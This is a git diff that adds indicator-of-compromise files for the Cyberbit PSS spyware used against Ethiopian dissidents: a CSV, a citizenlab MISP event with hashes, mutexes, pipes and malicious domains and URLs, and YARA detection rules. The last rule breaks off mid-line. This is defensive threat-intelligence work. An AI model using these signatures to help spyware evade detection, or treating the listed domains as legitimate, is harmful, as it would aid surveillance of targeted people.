+5a27f9f0-de2c-4a55-91a9-11098e96ca05,125,Network activity,url,"https://time-local.net/","",1,20171206 +5a27f9f0-ff88-4631-90ae-11098e96ca05,125,Network activity,url,"https://time-local.com/ts.php","",1,20171206 +5a27fa29-2f2c-428e-971b-11098e96ca05,125,Network activity,domain,"pssts1.nozonenet.com","",1,20171206 +5a27fa29-36d8-4b5e-bef3-11098e96ca05,125,Network activity,domain,"time-local.net","",1,20171206 +5a27fa29-c180-4131-8e5d-11098e96ca05,125,Network activity,domain,"time-local.com","",1,20171206 +5a27fac9-1f90-405a-8145-11098e96ca05,125,Network activity,domain,"pupki.co","",1,20171206 +5a281504-1720-4c8f-90c1-11098e96ca05,125,Network activity,domain,"eastafro.net","",1,20171206 +5a281504-6d78-458c-834f-11098e96ca05,125,Network activity,domain,"meskereme.net","",1,20171206 +5a281504-7ee0-446f-bd09-11098e96ca05,125,Network activity,domain,"getadobeplayer.com","",1,20171206 +5a281504-f94c-4e52-8866-11098e96ca05,125,Network activity,domain,"diretube.co.uk","",1,20171206 diff --git a/data/ioc/spyware/citizen_lab/201712_Cyberbit/misp.json b/data/ioc/spyware/citizen_lab/201712_Cyberbit/misp.json new file mode 100644 index 0000000..d93d3cc --- /dev/null +++ b/data/ioc/spyware/citizen_lab/201712_Cyberbit/misp.json @@ -0,0 +1,1167 @@ +{"response":[{ + "Event": { + "id": "125", + "orgc_id": "2", + "org_id": "2", + "date": "2017-12-05", + "threat_level_id": "1", + "info": "Champing at the Cyberbit: Ethiopian Dissidents Targeted with New Commercial Spyware", + "published": true, + "uuid": "5a27f994-d7c0-4ef0-9b8f-40758e96ca05", + "attribute_count": "56", + "analysis": "2", + "timestamp": "1512576260", + "distribution": "1", + "proposal_email_lock": false, + "locked": false, + "publish_timestamp": "1512576275", + "sharing_group_id": "0", + "Org": { + "id": "2", + "name": "citizenlab", + "uuid": "581b5fea-818c-441a-bd1d-49798e96ca05" + }, + "Orgc": { + "id": "2", + "name": "citizenlab", + "uuid": "581b5fea-818c-441a-bd1d-49798e96ca05" + }, + "Attribute": [ + { + "id": "17544", + "type": "md5", + "category": "Artifacts dropped", + "to_ids": false, + "uuid": "5a27f9c5-15cc-44d6-8153-11098e96ca05", + "event_id": "125", + "distribution": "5", + "timestamp": "1512569285", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "568d8c43815fa9608974071c49d68232", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "17545", + "type": "md5", + "category": "Artifacts dropped", + "to_ids": false, + "uuid": "5a27f9c5-4ac4-49c5-9c46-11098e96ca05", + "event_id": "125", + "distribution": "5", + "timestamp": "1512569285", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "80b7121c4ecac1c321ca2e3f507104c2", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "17546", + "type": "md5", + "category": "Artifacts dropped", + "to_ids": false, + "uuid": "5a27f9c5-b378-4812-adc5-11098e96ca05", + "event_id": "125", + "distribution": "5", + "timestamp": "1512569285", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "8d6ce1a256acf608d82db6539bf73ae7", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "17547", + "type": "md5", + "category": "Artifacts dropped", + "to_ids": false, + "uuid": "5a27f9c5-e53c-422a-81bf-11098e96ca05", + "event_id": "125", + "distribution": "5", + "timestamp": "1512569285", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "840c4299f9cd5d4df46ee708c2c8247c", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "17548", + "type": "md5", + "category": "Artifacts dropped", + "to_ids": false, + "uuid": "5a27f9c5-de5c-4a30-8d45-11098e96ca05", + "event_id": "125", + "distribution": "5", + "timestamp": "1512569285", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "961730964fd76c93603fb8f0d445c6f2", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "17549", + "type": "md5", + "category": "Artifacts dropped", + "to_ids": false, + "uuid": "5a27f9c5-bc88-4421-a137-11098e96ca05", + "event_id": "125", + "distribution": "5", + "timestamp": "1512569285", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "376f28fb0aa650d6220a9d722cdb108d", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "17550", + "type": "md5", + "category": "Artifacts dropped", + "to_ids": false, + "uuid": "5a27f9c5-88bc-43fe-8b35-11098e96ca05", + "event_id": "125", + "distribution": "5", + "timestamp": "1512569285", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "ca782d91daea6d67dfc49d6e7baf39b0", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "17551", + "type": "md5", + "category": "Artifacts dropped", + "to_ids": false, + "uuid": "5a27f9c5-84fc-42ff-b5b6-11098e96ca05", + "event_id": "125", + "distribution": "5", + "timestamp": "1512569285", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "0488cf9c58f895076311bf8e2d93bf63", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "17552", + "type": "md5", + "category": "Artifacts dropped", + "to_ids": false, + "uuid": "5a27f9c5-80d8-4fdb-a65b-11098e96ca05", + "event_id": "125", + "distribution": "5", + "timestamp": "1512569285", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "f483fe294b4c3af1e3c8163200d60aae", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "17553", + "type": "md5", + "category": "Artifacts dropped", + "to_ids": false, + "uuid": "5a27f9c5-6a58-470b-a448-11098e96ca05", + "event_id": "125", + "distribution": "5", + "timestamp": "1512569285", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "1dcff300018c37a888fbe36f270f43a7", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "17554", + "type": "md5", + "category": "Artifacts dropped", + "to_ids": false, + "uuid": "5a27f9c5-737c-4b9b-a821-11098e96ca05", + "event_id": "125", + "distribution": "5", + "timestamp": "1512569285", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "ed42fcd0ae2e1baf3d0eead4fcf9c9da", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "17555", + "type": "md5", + "category": "Artifacts dropped", + "to_ids": false, + "uuid": "5a27f9c5-5cfc-4111-b71a-11098e96ca05", + "event_id": "125", + "distribution": "5", + "timestamp": "1512569285", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "4b6d030664668224a88ca260354e5b4e", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "17556", + "type": "md5", + "category": "Artifacts dropped", + "to_ids": false, + "uuid": "5a27f9c5-561c-42c6-8c04-11098e96ca05", + "event_id": "125", + "distribution": "5", + "timestamp": "1512569285", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "94d49232f1d77611544371826be16a99", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "17557", + "type": "md5", + "category": "Artifacts dropped", + "to_ids": false, + "uuid": "5a27f9c5-4b54-448c-9154-11098e96ca05", + "event_id": "125", + "distribution": "5", + "timestamp": "1512569285", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "fd903f9471e7b3f60739b8f29fec041d", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "17558", + "type": "md5", + "category": "Artifacts dropped", + "to_ids": false, + "uuid": "5a27f9c5-5284-4795-9ec0-11098e96ca05", + "event_id": "125", + "distribution": "5", + "timestamp": "1512569285", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "d3ebb760c9de3486379abc3672dbee8b", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "17559", + "type": "md5", + "category": "Artifacts dropped", + "to_ids": false, + "uuid": "5a27f9c5-50b8-472a-a1f2-11098e96ca05", + "event_id": "125", + "distribution": "5", + "timestamp": "1512569285", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "37c9e979a36b31355e779f10ecaba886", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "17560", + "type": "md5", + "category": "Artifacts dropped", + "to_ids": false, + "uuid": "5a27f9c5-36b4-4d66-841e-11098e96ca05", + "event_id": "125", + "distribution": "5", + "timestamp": "1512569285", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "bb0143290d7c9cb1d186e209e4aa8d87", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "17561", + "type": "md5", + "category": "Artifacts dropped", + "to_ids": false, + "uuid": "5a27f9c5-32f4-4344-a582-11098e96ca05", + "event_id": "125", + "distribution": "5", + "timestamp": "1512569285", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "e0804de1f0b4a22dbeddc90fb2854bfe", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "17562", + "type": "md5", + "category": "Artifacts dropped", + "to_ids": false, + "uuid": "5a27f9c5-43e8-46ee-941b-11098e96ca05", + "event_id": "125", + "distribution": "5", + "timestamp": "1512569285", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "4feae73c2ef347692be0068793fc2c73", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "17563", + "type": "md5", + "category": "Artifacts dropped", + "to_ids": false, + "uuid": "5a27f9c5-46cc-473a-aaaa-11098e96ca05", + "event_id": "125", + "distribution": "5", + "timestamp": "1512569285", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "46cab66af42f40c9f65fa20bf071601f", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "17564", + "type": "md5", + "category": "Artifacts dropped", + "to_ids": false, + "uuid": "5a27f9c5-2ebc-4c0e-b1c2-11098e96ca05", + "event_id": "125", + "distribution": "5", + "timestamp": "1512569285", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "8a20147b5df86ea6bdd39b9ea84dfc2d", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "17565", + "type": "md5", + "category": "Artifacts dropped", + "to_ids": false, + "uuid": "5a27f9c5-2778-4784-b22c-11098e96ca05", + "event_id": "125", + "distribution": "5", + "timestamp": "1512569285", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "c616f271a456eb2c54bdbee67fb88eda", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "17566", + "type": "md5", + "category": "Artifacts dropped", + "to_ids": false, + "uuid": "5a27f9c5-3b28-4b81-9e4b-11098e96ca05", + "event_id": "125", + "distribution": "5", + "timestamp": "1512569285", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "19dfff93ad650c02fbffa73faea48a96", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "17567", + "type": "md5", + "category": "Artifacts dropped", + "to_ids": false, + "uuid": "5a27f9c5-57d4-4f8b-acc0-11098e96ca05", + "event_id": "125", + "distribution": "5", + "timestamp": "1512569285", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "eaf569c0d8866df41f6c419b6683946b", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "17568", + "type": "md5", + "category": "Artifacts dropped", + "to_ids": false, + "uuid": "5a27f9c5-6864-4d94-b9e1-11098e96ca05", + "event_id": "125", + "distribution": "5", + "timestamp": "1512569285", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "2f9911e69ee7eeb2db050f82da85688e", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "17569", + "type": "md5", + "category": "Artifacts dropped", + "to_ids": false, + "uuid": "5a27f9c5-7764-435a-bc52-11098e96ca05", + "event_id": "125", + "distribution": "5", + "timestamp": "1512569285", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "1b6ef8b512ab768d76999d81387eeca6", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "17570", + "type": "md5", + "category": "Artifacts dropped", + "to_ids": false, + "uuid": "5a27f9c5-7a48-4aef-8735-11098e96ca05", + "event_id": "125", + "distribution": "5", + "timestamp": "1512569285", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "370db91c6eca64f63083d577049bba5b", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "17571", + "type": "md5", + "category": "Artifacts dropped", + "to_ids": false, + "uuid": "5a27f9c5-64f4-4a1a-8a35-11098e96ca05", + "event_id": "125", + "distribution": "5", + "timestamp": "1512569285", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "dd9826b9dc747f625015d24ccd22acd6", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "17572", + "type": "md5", + "category": "Artifacts dropped", + "to_ids": false, + "uuid": "5a27f9c5-c1b0-4ee1-a1b4-11098e96ca05", + "event_id": "125", + "distribution": "5", + "timestamp": "1512569285", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "14465588c4b201fcb03366292b1112d8", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "17573", + "type": "md5", + "category": "Artifacts dropped", + "to_ids": false, + "uuid": "5a27f9c5-f11c-4695-a426-11098e96ca05", + "event_id": "125", + "distribution": "5", + "timestamp": "1512569285", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "a3125fdc709ff73ecf75447095fe4aa5", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "17574", + "type": "md5", + "category": "Artifacts dropped", + "to_ids": false, + "uuid": "5a27f9c5-ee88-42ff-a6c6-11098e96ca05", + "event_id": "125", + "distribution": "5", + "timestamp": "1512569285", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "9cecb0bd8ccf9be70a1a24c729514bda", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "17575", + "type": "md5", + "category": "Artifacts dropped", + "to_ids": false, + "uuid": "5a27f9c5-c4e4-41c1-8e91-11098e96ca05", + "event_id": "125", + "distribution": "5", + "timestamp": "1512569285", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "eb45d72b786904fe7e5e2376b845061d", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "17576", + "type": "md5", + "category": "Artifacts dropped", + "to_ids": false, + "uuid": "5a27f9c5-b8f0-4e75-95f4-11098e96ca05", + "event_id": "125", + "distribution": "5", + "timestamp": "1512569285", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "e220361db365f017583705ec341bd15b", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "17577", + "type": "md5", + "category": "Artifacts dropped", + "to_ids": false, + "uuid": "5a27f9c5-cfc0-480c-8223-11098e96ca05", + "event_id": "125", + "distribution": "5", + "timestamp": "1512569285", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "3c124dfd026c71b6035beb5c2499ae26", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "17578", + "type": "md5", + "category": "Artifacts dropped", + "to_ids": false, + "uuid": "5a27f9c5-cfe8-4f1e-8e8a-11098e96ca05", + "event_id": "125", + "distribution": "5", + "timestamp": "1512569285", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "74d5c71cc073ccedafefcb10fde91e04", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "17579", + "type": "md5", + "category": "Artifacts dropped", + "to_ids": false, + "uuid": "5a27f9c5-d0d8-4264-92c7-11098e96ca05", + "event_id": "125", + "distribution": "5", + "timestamp": "1512569285", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "ae2161510ef99f71afaa7cf69a8f814c", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "17590", + "type": "mutex", + "category": "Artifacts dropped", + "to_ids": false, + "uuid": "5a27fa44-40d8-4732-94b1-11098e96ca05", + "event_id": "125", + "distribution": "5", + "timestamp": "1512569412", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "PerfIPC", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "17591", + "type": "mutex", + "category": "Artifacts dropped", + "to_ids": false, + "uuid": "5a27fa44-0978-4448-9bf1-11098e96ca05", + "event_id": "125", + "distribution": "5", + "timestamp": "1512569412", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "STORAGE_MUTEX", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "17592", + "type": "mutex", + "category": "Artifacts dropped", + "to_ids": false, + "uuid": "5a27fa44-438c-497a-b355-11098e96ca05", + "event_id": "125", + "distribution": "5", + "timestamp": "1512569412", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "Global\\76467a526e3f430f870f2d48876b77b7", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "17593", + "type": "mutex", + "category": "Artifacts dropped", + "to_ids": false, + "uuid": "5a27fa44-c94c-405b-b213-11098e96ca05", + "event_id": "125", + "distribution": "5", + "timestamp": "1512569412", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "Global\\6efa80dda7d8489f931cc9b2eac58777", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "17588", + "type": "named pipe", + "category": "Artifacts dropped", + "to_ids": false, + "uuid": "5a27fa36-8c68-4682-ab5c-11098e96ca05", + "event_id": "125", + "distribution": "5", + "timestamp": "1512569398", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "\\\\.\\pipe\\BrowseIPC", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "17589", + "type": "named pipe", + "category": "Artifacts dropped", + "to_ids": false, + "uuid": "5a27fa36-4e00-4a43-9aa1-11098e96ca05", + "event_id": "125", + "distribution": "5", + "timestamp": "1512569398", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "\\\\.\\pipe\\{82221195-6222-4854-8874-016aa4e9dd41}", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "17543", + "type": "link", + "category": "External analysis", + "to_ids": false, + "uuid": "5a27f9b3-8b70-46dc-8597-11098e96ca05", + "event_id": "125", + "distribution": "5", + "timestamp": "1512569267", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "https:\/\/citizenlab.ca\/2017\/12\/champing-cyberbit-ethiopian-dissidents-targeted-commercial-spyware\/", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "17585", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5a27fa29-2f2c-428e-971b-11098e96ca05", + "event_id": "125", + "distribution": "5", + "timestamp": "1512569385", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "pssts1.nozonenet.com", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "17586", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5a27fa29-c180-4131-8e5d-11098e96ca05", + "event_id": "125", + "distribution": "5", + "timestamp": "1512569385", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "time-local.com", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "17587", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5a27fa29-36d8-4b5e-bef3-11098e96ca05", + "event_id": "125", + "distribution": "5", + "timestamp": "1512569385", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "time-local.net", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "17594", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5a27fac9-1f90-405a-8145-11098e96ca05", + "event_id": "125", + "distribution": "5", + "timestamp": "1512569545", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "pupki.co", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "17595", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5a281504-1720-4c8f-90c1-11098e96ca05", + "event_id": "125", + "distribution": "5", + "timestamp": "1512576260", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "eastafro.net", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "17596", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5a281504-7ee0-446f-bd09-11098e96ca05", + "event_id": "125", + "distribution": "5", + "timestamp": "1512576260", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "getadobeplayer.com", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "17597", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5a281504-f94c-4e52-8866-11098e96ca05", + "event_id": "125", + "distribution": "5", + "timestamp": "1512576260", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "diretube.co.uk", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "17598", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5a281504-6d78-458c-834f-11098e96ca05", + "event_id": "125", + "distribution": "5", + "timestamp": "1512576260", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "meskereme.net", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "17580", + "type": "url", + "category": "Network activity", + "to_ids": true, + "uuid": "5a27f9f0-b9fc-4809-bbdb-11098e96ca05", + "event_id": "125", + "distribution": "5", + "timestamp": "1512569328", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "https:\/\/pssts1.nozonenet.com\/ts8\/ts8.php", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "17581", + "type": "url", + "category": "Network activity", + "to_ids": true, + "uuid": "5a27f9f0-8b98-4c33-bfce-11098e96ca05", + "event_id": "125", + "distribution": "5", + "timestamp": "1512569328", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "https:\/\/time-local.com\/", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "17582", + "type": "url", + "category": "Network activity", + "to_ids": true, + "uuid": "5a27f9f0-de2c-4a55-91a9-11098e96ca05", + "event_id": "125", + "distribution": "5", + "timestamp": "1512569328", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "https:\/\/time-local.net\/", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "17583", + "type": "url", + "category": "Network activity", + "to_ids": true, + "uuid": "5a27f9f0-ff88-4631-90ae-11098e96ca05", + "event_id": "125", + "distribution": "5", + "timestamp": "1512569328", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "https:\/\/time-local.com\/ts.php", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "17584", + "type": "url", + "category": "Network activity", + "to_ids": true, + "uuid": "5a27f9f0-0654-4388-adcc-11098e96ca05", + "event_id": "125", + "distribution": "5", + "timestamp": "1512569328", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "https:\/\/time-local.net\/ts.php", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + } + ], + "ShadowAttribute": [ + + ], + "RelatedEvent": [ + + ], + "Tag": [ + { + "id": "16", + "name": "TLP:WHITE", + "colour": "#e8e8e8", + "exportable": true, + "org_id": false + } + ] + } +}]} diff --git a/data/ioc/spyware/citizen_lab/201712_Cyberbit/rules.yar b/data/ioc/spyware/citizen_lab/201712_Cyberbit/rules.yar new file mode 100644 index 0000000..cef7140 --- /dev/null +++ b/data/ioc/spyware/citizen_lab/201712_Cyberbit/rules.yar @@ -0,0 +1,162 @@ +rule PSS_Agent { + meta: + description = "PSS Agent versions 4.x and 5.x" + author = "Geoffrey Alexander " + date = "2017-07-20" + + strings: + $cmdproc = "CmdProc_" wide + + $u1 = "SS_Agent" ascii + $u2 = "pss-agent" ascii + $u3 = "DC615DA9-94B5-4477-9C33-3A393BC9E63F" ascii + $u4 = { 06 1f 41 49 4d 48 50 4f 31 } + + $s1 = "util::Process::" ascii + $s2 = "util::Resource::" ascii + $s3 = "util::System::" ascii + $s4 = "/M:{0FA12518-0120-0910-A43C-0DAA276D2EA4}" wide + $s5 = "Command is not allowed due to potential detection threat: %1%." wide + $s6 = "(%d) %.64s\\%.64s\\%.64s|%.64s|%.64s|%.64s|%.64s|%.64s|%.64s" wide + $s7 = "Name: %s Due: %02d/%02d/%04d %02d:%02d:%02d, Length: %d seconds" wide + $s8 = "Image will be taken on the next Skype call session." wide + $s9 = "\\\\.\\pipe\\BrowseIPC" wide + $s10 = "RES_BINARY" wide + $s11 = "/{433a-bbaf439-12982d4a-9c27}" wide + + condition: + uint16(0) == 0x5a4d and $cmdproc and 1 of ($u*) and 4 of ($s*) +} + +rule PSS_Pipeserver { + meta: + description = "PSS Pipeserver versions 4.x and 5.x" + author = "Geoffrey Alexander " + data = "2017-07-20" + + strings: + $u1 = "pss-agent" ascii + $u2 = "PSS_Agent" ascii + $u3 = "Agent path too long (>= MAX_PATH)" ascii + $u4 = "Agent is not running, executing it now\\n" ascii + $u5 = "Failed to create PssClock!" ascii + + $s1 = "LnkProxy" ascii + $s2 = "CUSTOMER\\Agent" ascii + $s3 = "BrowseIPC" ascii + $s4 = "CustomerConfig is not initialized yet" ascii + $s5 = "RES_BINARY" ascii + $s6 = "ipc::security_access::" ascii + $s7 = "util::Resource::" ascii + $s8 = "util::System::" ascii + $s9 = "AgentAdminGlobalEventName" wide + $s10 = "AgentDummyKillGlobalEventName" wide + $s11 = "AgentGlobalEventName" wide + $s12 = "AgentKillGlobalEventName" wide + $s13 = "AgentPipeServerInitGlobalEventName" wide + $s14 = "AgentUninstallGlobalEventName" wide + $s15 = "/M:{0FA12518-0120-0910-A43C-0DAA276D2EA4}" wide + $s16 = "\\\\.\\pipe\\BrowseIPC" wide + $s17 = "RES_BINARY" wide + $s18 = "/{433a-bbaf439-12982d4a-9c27}" wide + + condition: + uint16(0) == 0x5a4d and 1 of ($u*) and 8 of ($s*) +} + +rule PSS_lnkproxy { + meta: + description = "PSS lnkproxy versions 4.x and 5.x" + author = "Geoffrey Alexander " + date = "2017-07-20" + + strings: + $s1 = "COMMAND_LINE_BEGIN:" ascii + $s2 = ":COMMAND_LINE_END:" ascii + $s3 = "Could not execute process when no command is specified" ascii + $s4 = "lnkproxy.db" ascii + $s5 = "SPAWN_COMMAND_BEGIN:" ascii + $s6 = ":SPAWN_COMMAND_END" ascii + $s7 = "util::Deserializer::" ascii + $s8 = "util::FileDeserializer::" ascii + $s9 = "util::File::" ascii + $s10 = "util::Process::" ascii + $s11 = "util::System::" ascii + + condition: + uint16(0) == 0x5a4d and 4 of ($s*) +} + +rule PSS_Agent_v6 { + meta: + description = "PSS Agent version 6.0.0 and 6.1.0" + author = "Geoffrey Alexander " + date = "2017-07-20" + + strings: + $cmdproc = "CmdProc_" wide + + $u1 = "C:\\Windows\\temp\\KB2979214.pdb" ascii + $u2 = { 06 1f 41 49 4d 48 50 4f 31 } + + $s1 = "Did not complete transaction with pipe server" wide + $s2 = "SkypeControlAPIAttach" wide + $s3 = "SkypeControlAPIDiscover" wide + $s4 = "URL###Execute" wide + $s5 = "Failed to AddClipboardFormatListener, error [" ascii + $s6 = "transactionrequest." wide + $s7 = "DC615DA9-94B5-4477-9C33-3A393BC9E63F" ascii + $s8 = "getip..agentid" wide + $s9 = "AVAgentInstallException@agent@@" ascii + $s10 = "AVAgentCommandsException@agent@@" ascii + $s11 = "AVAgentCustomerConfigException@agent@@" ascii + $s12 = "AVTransactionParsingException@communication@@agent" ascii + $s13 = "AVStorageException@config@agent@@" ascii + $s14 = "AVDBStorageException@db@agent@@" ascii + + $str_decrypt_loop = { 8b 47 04 8b ce 83 e1 03 c1 e1 03 ba ?? ?? ?? ?? d3 ea 32 54 35 ?? 88 14 06 46 3b f3 } + + condition: + uint16(0) == 0x5a4d and $cmdproc and $str_decrypt_loop and 1 of ($u*) and 8 of ($s*) +} + +rule PSS_lnkproxy_v6 { + meta: + description = "PSS lnkproxy version 6.0.0 and 6.1.0" + author = "Geoffrey Alexander " + date = "2017-07-20" + + strings: + $s1 = "C:\\Windows\\temp\\KB2971112.pdb" + $s2 = "AVResourceException@exception@util@@" ascii + $s3 = "AVLnkControllerException@LnkProxy@@" ascii + $s4 = "AVLnkPayloadException@@" ascii + $s5 = "AVShellLinkException@LnkProxy@@" ascii + $s6 = "AVFileUtilitiesException@LnkProxy@@" ascii + $s7 = "AVLnkEntryException@LnkProxy@@" ascii + $s8 = "AVFileRollbackException@LnkProxy@@" ascii + + $str_decrypt_loop = { 8b 47 04 8b ce 83 e1 03 c1 e1 03 ba ?? ?? ?? ?? d3 ea 32 54 35 ?? 88 14 06 46 3b f3 } + + condition: + uint16(0) == 0x5a4d and 3 of ($s*) and $str_decrypt_loop +} + +rule PSS_Pipeserver_v6 { + meta: + description = "PSS Pipeserver version 6.0.0 and 6.1.0" + author = "Geoffrey Alexander " + date = "2017-07-20" + + strings: + $p1 = "PSS_Agent" ascii + $p2 = "pss-agent" ascii + + $s1 = "%2s%u.%u.%u.%u\\\\n" wide + $s2 = "CustomerConfigException@agent" ascii + + $str_decrypt_loop = { 8b 47 04 8b ce 83 e1 03 c1 e1 03 ba ?? ?? ?? ?? d3 ea 32 54 35 